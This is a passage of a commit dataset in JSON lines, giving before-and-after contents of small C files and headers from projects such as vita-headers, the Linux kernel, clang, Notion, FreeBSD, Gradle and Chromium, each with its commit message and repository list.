tevielu\/ReactiveCocoa,Ray0218\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,hj3938\/ReactiveCocoa,leelili\/ReactiveCocoa,kaylio\/ReactiveCocoa,Pingco\/ReactiveCocoa,icepy\/ReactiveCocoa,windgo\/ReactiveCocoa,beni55\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,zhenlove\/ReactiveCocoa,Pikdays\/ReactiveCocoa,200895045\/ReactiveCocoa,natan\/ReactiveCocoa,sandyway\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,mattpetters\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,isghe\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,200895045\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,huiping192\/ReactiveCocoa,chieryw\/ReactiveCocoa,brightcove\/ReactiveCocoa,cogddo\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,Ethan89\/ReactiveCocoa,jaylib\/ReactiveCocoa,lixar\/ReactiveCocoa,dullgrass\/ReactiveCocoa,AlanJN\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,stupidfive\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,tipbit\/ReactiveCocoa,bencochran\/ReactiveCocoa,shaohung001\/ReactiveCocoa,rpowelll\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,jsslai\/ReactiveCocoa,koamac\/ReactiveCocoa,nickcheng\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,kaylio\/ReactiveCocoa,Carthage\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,Farteen\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,jsslai\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,kiurentu\/ReactiveCocoa,loupman\/ReactiveCocoa,mtxs007\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,sujeking\/ReactiveCocoa,leelili\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,qq644531343\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,AlanJN\/ReactiveCocoa,ohwutup\/ReactiveCocoa,yizzuide\/ReactiveCocoa,Remitly\/ReactiveCocoa,sugar2010\/ReactiveCocoa,SuPair\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,Farteen\/ReactiveCocoa,hbucius\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,howandhao\/ReactiveCocoa,CQXfly\/ReactiveCocoa,tiger8888\/ReactiveCocoa,JackLian\/ReactiveCocoa,Eveian\/ReactiveCocoa,dullgrass\/ReactiveCocoa,yizzuide\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,eyu1988\/ReactiveCocoa,CQXfly\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,Ricowere\/ReactiveCocoa,koamac\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,longv2go\/ReactiveCocoa,fanghao085\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,sujeking\/ReactiveCocoa,fhchina\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,jianwoo\/ReactiveCocoa,clg0118\/ReactiveCocoa,SanChain\/ReactiveCocoa,brightcove\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,tonyli508\/ReactiveCocoa,eliperkins\/ReactiveCocoa,hilllinux\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,isghe\/ReactiveCocoa,windgo\/ReactiveCocoa,Ray0218\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,shaohung001\/ReactiveCocoa,hbucius\/ReactiveCocoa,smilypeda\/ReactiveCocoa,tornade0913\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,zzzworm\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,j364960953\/ReactiveCocoa,beni55\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,goodheart\/ReactiveCocoa,xumaolin\/ReactiveCocoa,fhchina\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,yytong\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,goodheart\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,gabemdev\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,mxxiv\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,tzongw\/ReactiveCocoa,335g\/ReactiveCocoa,bensonday\/ReactiveCocoa,swizzlr\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,bensonday\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,wangqi211\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,ceekayel\/ReactiveCocoa,natestedman\/ReactiveCocoa,ceekayel\/ReactiveCocoa,vincentiss\/ReactiveCocoa,lixar\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,335g\/ReactiveCocoa,ztchena\/ReactiveCocoa,huiping192\/ReactiveCocoa"}
{"commit":"c938227b9fcbf43d079bfd3a1e12244da2b3b73c","old_file":"include\/psp2\/update.h","new_file":"include\/psp2\/update.h","old_contents":"\/**\n * \\usergroup{SceUpdateMgr}\n * \\usage{psp2\/update.h,SceSblSsUpdateMgr_stub}\n *\/\n\n#ifndef _PSP2_UPDATE_MGR_H_\n#define _PSP2_UPDATE_MGR_H_\n\n#include <psp2\/types.h>\n\ntypedef char SceUpdateMode;\n\n#define SCE_UPDATE_MODE_SWU_GUI 0x10\n#define SCE_UPDATE_MODE_SWU_CUI 0x30\n\n\/**\n * Getting system update mode on boot\n *\n * @param[out] mode - The pointer of SceUpdateMode variable\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceSblUsGetUpdateMode(SceUpdateMode *mode);\n\n\/**\n * Setting system update mode on boot\n *\n * @param[in] mode - The update mode\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceSblUsSetUpdateMode(SceUpdateMode mode);\n\n\/**\n * Verify PUP\n *\n * @param[in] path - The PUP path\n *\n * @return 0 on success, < 0 on error.\n *\n * note - If verify CEX PUP on Devkit system, got error.\n *\/\nint sceSblUsVerifyPup(const char *path);\n\n#endif \/* _PSP2_UPDATE_MGR_H_ *\/\n","new_contents":"\/**\n * \\usergroup{SceUpdateMgr}\n * \\usage{psp2\/update.h,SceSblSsUpdateMgr_stub}\n *\/\n\n#ifndef _PSP2_UPDATE_MGR_H_\n#define _PSP2_UPDATE_MGR_H_\n\n#include <psp2\/types.h>\n\ntypedef char SceUpdateMode;\n\n#define SCE_UPDATE_MODE_SWU_GUI 0x10\n#define SCE_UPDATE_MODE_SWU_CUI 0x30\n\n\/**\n * Getting system update mode on boot\n *\n * @param[out] mode - The pointer of SceUpdateMode variable\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceSblUsGetUpdateMode(SceUpdateMode *mode);\n\n#define sceSblSsUpdateMgrGetBootMode sceSblUsGetUpdateMode\n\n\/**\n * Setting system update mode on boot\n *\n * @param[in] mode - The update mode\n *\n * @return 0 on success, < 0 on error.\n *\/\nint sceSblUsSetUpdateMode(SceUpdateMode mode);\n\n#define sceSblSsUpdateMgrSetBootMode sceSblUsSetUpdateMode\n\n\/**\n * Verify PUP\n *\n * @param[in] path - The PUP path\n *\n * @return 0 on success, < 0 on error.\n *\n * note - If verify CEX PUP on Devkit system, got error.\n *\/\nint sceSblUsVerifyPup(const char *path);\n\n#endif \/* _PSP2_UPDATE_MGR_H_ *\/\n","subject":"Fix compatibility with some modules","message":"Fix compatibility with some modules","lang":"C","license":"mit","repos":"Rinnegatamante\/vita-headers,vitasdk\/vita-headers,Rinnegatamante\/vita-headers,vitasdk\/vita-headers,Rinnegatamante\/vita-headers,Rinnegatamante\/vita-headers,vitasdk\/vita-headers,vitasdk\/vita-headers"}
{"commit":"8969691343354bdd80eff5405a0f879edbf013d6","old_file":"arch\/x86\/include\/asm\/jump_label.h","new_file":"arch\/x86\/include\/asm\/jump_label.h","old_contents":"#ifndef _ASM_X86_JUMP_LABEL_H\n#define _ASM_X86_JUMP_LABEL_H\n\n#ifdef __KERNEL__\n\n#include <linux\/types.h>\n#include <asm\/nops.h>\n\n#define JUMP_LABEL_NOP_SIZE 5\n\n# define JUMP_LABEL_INITIAL_NOP \".byte 0xe9 \\n\\t .long 0\\n\\t\"\n\n# define JUMP_LABEL(key, label)\t\t\t\t\t\\\n\tdo {\t\t\t\t\t\t\t\\\n\t\tasm goto(\"1:\"\t\t\t\t\t\\\n\t\t\tJUMP_LABEL_INITIAL_NOP\t\t\t\\\n\t\t\t\".pushsection __jump_table,  \\\"a\\\" \\n\\t\"\\\n\t\t\t_ASM_PTR \"1b, %l[\" #label \"], %c0 \\n\\t\" \\\n\t\t\t\".popsection \\n\\t\"\t\t\t\\\n\t\t\t: :  \"i\" (key) :  : label);\t\t\\\n\t} while (0)\n\n#endif \/* __KERNEL__ *\/\n\n#ifdef CONFIG_X86_64\ntypedef u64 jump_label_t;\n#else\ntypedef u32 jump_label_t;\n#endif\n\nstruct jump_entry {\n\tjump_label_t code;\n\tjump_label_t target;\n\tjump_label_t key;\n};\n\n#endif\n","new_contents":"#ifndef _ASM_X86_JUMP_LABEL_H\n#define _ASM_X86_JUMP_LABEL_H\n\n#ifdef __KERNEL__\n\n#include <linux\/types.h>\n#include <asm\/nops.h>\n\n#define JUMP_LABEL_NOP_SIZE 5\n\n# define JUMP_LABEL_INITIAL_NOP \".byte 0xe9 \\n\\t .long 0\\n\\t\"\n\n# define JUMP_LABEL(key, label)\t\t\t\t\t\\\n\tdo {\t\t\t\t\t\t\t\\\n\t\tasm goto(\"1:\"\t\t\t\t\t\\\n\t\t\tJUMP_LABEL_INITIAL_NOP\t\t\t\\\n\t\t\t\".pushsection __jump_table,  \\\"aw\\\" \\n\\t\"\\\n\t\t\t_ASM_PTR \"1b, %l[\" #label \"], %c0 \\n\\t\" \\\n\t\t\t\".popsection \\n\\t\"\t\t\t\\\n\t\t\t: :  \"i\" (key) :  : label);\t\t\\\n\t} while (0)\n\n#endif \/* __KERNEL__ *\/\n\n#ifdef CONFIG_X86_64\ntypedef u64 jump_label_t;\n#else\ntypedef u32 jump_label_t;\n#endif\n\nstruct jump_entry {\n\tjump_label_t code;\n\tjump_label_t target;\n\tjump_label_t key;\n};\n\n#endif\n","subject":"Fix jump label with RO\/NX module protection crash","message":"x86: Fix jump label with RO\/NX module protection crash\n\nIf we use jump table in module init, there are marked\nas removed in __jump_table section after init is done.\n\nBut we already applied ro permissions on the module, so\nwe can't modify a read only section (crash in\nremove_jump_label_module_init).\n\nMake the __jump_table section rw.\n\nSigned-off-by: Matthieu CASTET <2b6a54c52e56976a5646892b66a1a13421db0d2c@free.fr>\nCc: Xiaotian Feng <ac8085f9c424e98c8fe0d0e67b1c7a8a00757580@gmail.com>\nCc: Jason Baron <af9bd1db766a43cb09b647251c97dbddcd2e59dc@redhat.com>\nCc: Steven Rostedt <43232e92d70cc7aa53504ad0397085ee47bad87f@goodmis.org>\nCc: Frederic Weisbecker <e8a1bf9163cb25e93cfd6540f223b3872ea7ee55@gmail.com>\nCc: Peter Zijlstra <645ca7d3a8d3d4f60557176cd361ea8351edc32b@chello.nl>\nCc: Arjan van de Ven <9043bf4b08f6c93a2cb55d98c3494b123858348f@linux.intel.com>\nCc: Siarhei Liakh <04848bc4c6728e62385922426cceead13c9e9458@gmail.com>\nCc: Xuxian Jiang <4e7b08952acae50abec9e06cac9ae2c424c73473@cs.ncsu.edu>\nCc: James Morris <10d11de3abc355eabe955bb734f0f8e71da56e16@namei.org>\nCc: Rusty Russell <df9728c9e5104131c08c7adb03af425394842596@rustcorp.com.au>\nCc: Dave Jones <d5ec0d24602845f6f4b6a35ef729998d1fba5507@redhat.com>\nCc: Kees Cook <e9b0cc8b545b1477b7cee8fbfcd6abb9c2d70cb5@canonical.com>\nCc: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\nCc: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@linux-foundation.org>\nLKML-Reference: <839f467c9c1c781060a2c104d5ccbd3605c01c1a@free.fr>\nSigned-off-by: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@elte.hu>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"bbf167646bc113cbf33bc9e6e5bdf99314187e49","old_file":"test\/CodeGen\/ms-inline-asm-align.c","new_file":"test\/CodeGen\/ms-inline-asm-align.c","old_contents":"","new_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang_cc1 %s -triple i386-apple-darwin10 -fasm-blocks -emit-llvm -o - | FileCheck %s --check-prefix=DARWIN\n\/\/ RUN: %clang_cc1 %s -triple i686-pc-win32 -fasm-blocks -emit-llvm -o - | FileCheck %s --check-prefix=WINDOWS\n\n\/\/ On Windows, .align is in bytes, and on Darwin, .align is in log2 form. The\n\/\/ Intel inline assembly parser should rewrite to the appropriate form depending\n\/\/ on the platform.\n\nvoid align_test() {\n  __asm align 8\n  __asm align 16;\n  __asm align 128;\n  __asm ALIGN 256;\n}\n\n\/\/ DARWIN-LABEL: define void @align_test()\n\/\/ DARWIN: call void asm sideeffect inteldialect\n\/\/ DARWIN-SAME: .align 3\n\/\/ DARWIN-SAME: .align 4\n\/\/ DARWIN-SAME: .align 7\n\/\/ DARWIN-SAME: .align 8\n\/\/ DARWIN-SAME: \"~{dirflag},~{fpsr},~{flags}\"()\n\n\/\/ WINDOWS-LABEL: define void @align_test()\n\/\/ WINDOWS: call void asm sideeffect inteldialect\n\/\/ WINDOWS-SAME: .align 8\n\/\/ WINDOWS-SAME: .align 16\n\/\/ WINDOWS-SAME: .align 128\n\/\/ WINDOWS-SAME: .align 256\n\/\/ WINDOWS-SAME: \"~{dirflag},~{fpsr},~{flags}\"()\n","subject":"Test case for alignment directive change in LLVM r251418","message":"[ms-inline-asm] Test case for alignment directive change in LLVM r251418\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@251419 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"ff4f57f38db46266b15f843aa65fb4eada76d9de","old_file":"mod_xinerama\/ls_xinerama.c","new_file":"mod_xinerama\/ls_xinerama.c","old_contents":"#include <X11\/Xlib.h>\n#include <X11\/extensions\/Xinerama.h>\n#include <stdbool.h>\n#include <stdio.h>\n\nint main() {\n    Display *dpy = XOpenDisplay(NULL);\n    int xinerama_event_base;\n    int xinerama_error_base;\n    bool xinerama_ready = XineramaQueryExtension(dpy,&xinerama_event_base, &xinerama_error_base);\n\n    if (!xinerama_ready)\n        fprintf(stderr, \"No Xinerama support detected, mod_xinerama won't do anything.\");\n    else {\n        int nRects,i;\n        XineramaScreenInfo* sInfo = XineramaQueryScreens(dpy, &nRects);\n        for(i = 0 ; i < nRects ; ++i) {\n            fprintf(stdout, \"Screen %d: %dx%d+%d+%d\\n\", i, sInfo[i].width, sInfo[i].height, sInfo[i].x_org, sInfo[i].y_org);\n        }\n    }\n\n    return 0;\n}\n","new_contents":"#include <X11\/Xlib.h>\n#include <X11\/extensions\/Xinerama.h>\n#include <stdbool.h>\n#include <stdio.h>\n\nint main() {\n    Display *dpy = XOpenDisplay(NULL);\n    int xinerama_event_base;\n    int xinerama_error_base;\n    bool xinerama_ready = XineramaQueryExtension(dpy,&xinerama_event_base, &xinerama_error_base);\n\n    fprintf(stdout, \"Basic Xinerama screen information - for all the details run 'xdpyinfo -ext XINERAMA'\\n\");\n\n    if (!xinerama_ready)\n        fprintf(stderr, \"No Xinerama support detected, mod_xinerama won't do anything.\");\n    else {\n        int nRects,i;\n        XineramaScreenInfo* sInfo = XineramaQueryScreens(dpy, &nRects);\n        for(i = 0 ; i < nRects ; ++i) {\n            fprintf(stdout, \"Screen %d: %dx%d+%d+%d\\n\", i, sInfo[i].width, sInfo[i].height, sInfo[i].x_org, sInfo[i].y_org);\n        }\n    }\n\n    return 0;\n}\n","subject":"Document command to get even more details","message":"Document command to get even more details\n","lang":"C","license":"lgpl-2.1","repos":"knixeur\/notion,neg-serg\/notion,p5n\/notion,dkogan\/notion,raboof\/notion,p5n\/notion,dkogan\/notion,p5n\/notion,anoduck\/notion,p5n\/notion,dkogan\/notion,neg-serg\/notion,dkogan\/notion.xfttest,knixeur\/notion,anoduck\/notion,raboof\/notion,anoduck\/notion,raboof\/notion,p5n\/notion,raboof\/notion,anoduck\/notion,neg-serg\/notion,knixeur\/notion,dkogan\/notion,dkogan\/notion,neg-serg\/notion,dkogan\/notion.xfttest,knixeur\/notion,dkogan\/notion.xfttest,knixeur\/notion,anoduck\/notion,dkogan\/notion.xfttest"}
{"commit":"af1ac09a53e9b9f7d330522b7109c3ae65dbba61","old_file":"sys\/sys\/dataacq.h","new_file":"sys\/sys\/dataacq.h","old_contents":"","new_contents":"\/* Header for general data acquisition definitions.\n *\/\n\n#ifndef\t_SYS_DATAACQ_H_\n#define\t_SYS_DATAACQ_H_\n\n#include <sys\/ioccom.h>\n\n\/* Period in microseconds between analog I\/O samples.\n *\/\n#define AD_MICRO_PERIOD_SET _IOW('A', 1, long)\n#define AD_MICRO_PERIOD_GET _IOR('A', 2, long)\n\n\/* Gain list support.  Initially all gains are 1.  If the board\n * supports no gains at all then AD_NGAINS_GET will return a 0.\n *\n * AD_NGAINS_GET: Return the number of gains the board supports\n *\n * AD_SUPPORTED_GAINS: Get the supported gains.\n * The driver will copy out \"ngains\" doubles,\n * where \"ngains\" is obtained with AD_NGAINS_GET.\n *\n * AD_GAINS_SET: Set the gain list.  The driver will copy in \"ngains\" ints.\n *\n * AD_GAINS_GET: Get the gain list.  The driver will copy out \"ngains\" ints.\n *\/\n\n#define AD_NGAINS_GET     _IOR('A', 3, int)\n#define AD_NCHANS_GET     _IOR('A', 4, int)\n#define AD_SUPPORTED_GAINS _IO('A', 5)\n#define AD_GAINS_SET       _IO('A', 6)\n#define AD_GAINS_GET       _IO('A', 7)\n\n#endif \/* !_SYS_DATAACQ_H_ *\/\n","subject":"Put back this wholly innocent victim of Mike's drive-by shooting on alog; it belongs to the labpc driver. Mike will be in the corner wearing the pointed hat, should anyone be looking for him.","message":"Put back this wholly innocent victim of Mike's drive-by shooting on alog;\nit belongs to the labpc driver.  Mike will be in the corner wearing\nthe pointed hat, should anyone be looking for him.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"627c29bd229a5fb302087c4360d461079b59df9d","old_file":"subprojects\/testing-native\/src\/main\/resources\/org\/gradle\/nativeplatform\/test\/cunit\/tasks\/gradle_cunit_register.h","new_file":"subprojects\/testing-native\/src\/main\/resources\/org\/gradle\/nativeplatform\/test\/cunit\/tasks\/gradle_cunit_register.h","old_contents":"\/*\n * Called by the Gradle CUnit launcher to register all CUnit tests.\n *\/\nvoid gradle_cunit_register();","new_contents":"\/*\n * Called by the Gradle CUnit launcher to register all CUnit tests.\n *\/\nvoid gradle_cunit_register();\n","subject":"Add newline to end of generated cunit header file","message":"Add newline to end of generated cunit header file\n","lang":"C","license":"apache-2.0","repos":"blindpirate\/gradle,blindpirate\/gradle,lsmaira\/gradle,gstevey\/gradle,blindpirate\/gradle,gradle\/gradle,lsmaira\/gradle,gstevey\/gradle,robinverduijn\/gradle,blindpirate\/gradle,gstevey\/gradle,lsmaira\/gradle,lsmaira\/gradle,robinverduijn\/gradle,gstevey\/gradle,robinverduijn\/gradle,robinverduijn\/gradle,gstevey\/gradle,gradle\/gradle,blindpirate\/gradle,blindpirate\/gradle,gradle\/gradle,blindpirate\/gradle,gstevey\/gradle,blindpirate\/gradle,gradle\/gradle,lsmaira\/gradle,gradle\/gradle,lsmaira\/gradle,gradle\/gradle,lsmaira\/gradle,robinverduijn\/gradle,lsmaira\/gradle,robinverduijn\/gradle,robinverduijn\/gradle,robinverduijn\/gradle,gradle\/gradle,robinverduijn\/gradle,gradle\/gradle,gstevey\/gradle,gstevey\/gradle,robinverduijn\/gradle,gradle\/gradle,gradle\/gradle,blindpirate\/gradle,blindpirate\/gradle,robinverduijn\/gradle,gstevey\/gradle,lsmaira\/gradle,lsmaira\/gradle"}
{"commit":"9f18e587c4365cab87c12df3ca889d96ee345e76","old_file":"test\/unit\/test_exception.c","new_file":"test\/unit\/test_exception.c","old_contents":"","new_contents":"#include \"preamble.h\"\n\nint main(int argc, char const *argv[]) {\n  hvm_gen *gen = hvm_new_gen();\n  hvm_obj_ref *obj0 = NULL;\n  hvm_obj_ref *obj1 = NULL;\n\n  byte reg0 = hvm_vm_reg_gen(0);\n  byte reg1 = hvm_vm_reg_gen(1);\n\n  \/\/ Immediately jump to the code that's going to throw the exception\n  hvm_gen_goto_label(gen->block, \"main\");\n\n  \/\/ Label for the code to actually catch the exception\n  hvm_gen_label(gen->block, \"catch\");\n  \/\/ Do a straight die so the test harness can check the register and make\n  \/\/ sure there's an exception object in it\n  hvm_gen_die(gen->block);\n\n  hvm_gen_label(gen->block, \"main\");\n  \/\/ Register our exception handler for the frame\n  hvm_gen_catch_label(gen->block, \"catch\", reg0);\n  hvm_gen_structnew(gen->block, reg1);\n  hvm_gen_throw(gen->block, reg1);\n  hvm_gen_die(gen->block);\n\n  hvm_vm *vm = gen_chunk_and_run(gen);\n\n  obj0 = vm->general_regs[0];\n  obj1 = vm->general_regs[1];\n  \/\/ Make sure the object thrown and the object in the catch register are\n  \/\/ the same\n  assert_true(obj0 == obj1, \"Expected thrown object and caught object to be the same\");\n\n  return done();\n}\n","subject":"Add basic exceptions unit test","message":"Add basic exceptions unit test\n","lang":"C","license":"mpl-2.0","repos":"dirk\/hivm,dirk\/hivm,dirk\/hivm,dirk\/hivm"}
{"commit":"8b3bbb541d210883666ea58c21e0bd33de8ac96c","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\n\n#endif","subject":"Add List destroy function declaration","message":"Add List destroy function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"816bde39fe14670950bca6555adfb25d62aed147","old_file":"chrome\/nacl\/nacl_broker_listener.h","new_file":"chrome\/nacl\/nacl_broker_listener.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_NACL_NACL_BROKER_LISTENER_H_\n#define CHROME_NACL_NACL_BROKER_LISTENER_H_\n#pragma once\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/process.h\"\n#include \"chrome\/common\/nacl_types.h\"\n#include \"ipc\/ipc_channel.h\"\n\n\/\/ The BrokerThread class represents the thread that handles the messages from\n\/\/ the browser process and starts NaCl loader processes.\nclass NaClBrokerListener : public IPC::Channel::Listener {\n public:\n  NaClBrokerListener();\n  ~NaClBrokerListener();\n\n  void Listen();\n\n  \/\/ IPC::Channel::Listener implementation.\n  virtual void OnChannelConnected(int32 peer_pid) OVERRIDE;\n  virtual bool OnMessageReceived(const IPC::Message& msg) OVERRIDE;\n  virtual void OnChannelError() OVERRIDE;\n\n private:\n  void OnLaunchLoaderThroughBroker(const std::wstring& loader_channel_id);\n  void OnShareBrowserHandle(int browser_handle);\n  void OnStopBroker();\n\n  base::ProcessHandle browser_handle_;\n  scoped_ptr<IPC::Channel> channel_;\n\n  DISALLOW_COPY_AND_ASSIGN(NaClBrokerListener);\n};\n\n#endif  \/\/ CHROME_NACL_NACL_BROKER_LISTENER_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_NACL_NACL_BROKER_LISTENER_H_\n#define CHROME_NACL_NACL_BROKER_LISTENER_H_\n#pragma once\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/process.h\"\n#include \"chrome\/common\/nacl_types.h\"\n#include \"ipc\/ipc_channel.h\"\n\n\/\/ The BrokerThread class represents the thread that handles the messages from\n\/\/ the browser process and starts NaCl loader processes.\nclass NaClBrokerListener : public IPC::Channel::Listener {\n public:\n  NaClBrokerListener();\n  ~NaClBrokerListener();\n\n  void Listen();\n\n  \/\/ IPC::Channel::Listener implementation.\n  virtual void OnChannelConnected(int32 peer_pid) OVERRIDE;\n  virtual bool OnMessageReceived(const IPC::Message& msg) OVERRIDE;\n  virtual void OnChannelError() OVERRIDE;\n\n private:\n  void OnLaunchLoaderThroughBroker(const std::wstring& loader_channel_id);\n  void OnStopBroker();\n\n  base::ProcessHandle browser_handle_;\n  scoped_ptr<IPC::Channel> channel_;\n\n  DISALLOW_COPY_AND_ASSIGN(NaClBrokerListener);\n};\n\n#endif  \/\/ CHROME_NACL_NACL_BROKER_LISTENER_H_\n","subject":"Remove declaration of non-existent method","message":"NaCl: Remove declaration of non-existent method\n\nBUG=none\nTEST=none\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/9592039\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@125431 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,ondra-novak\/chromium.src,keishi\/chromium,timopulkkinen\/BubbleFish,rogerwang\/chromium,hgl888\/chromium-crosswalk,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,markYoungH\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,keishi\/chromium,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,M4sse\/chromium.src,markYoungH\/chromium.src,robclark\/chromium,jaruba\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,robclark\/chromium,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,robclark\/chromium,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,keishi\/chromium,ChromiumWebApps\/chromium,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,patrickm\/chromium.src,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,nacl-webkit\/chrome_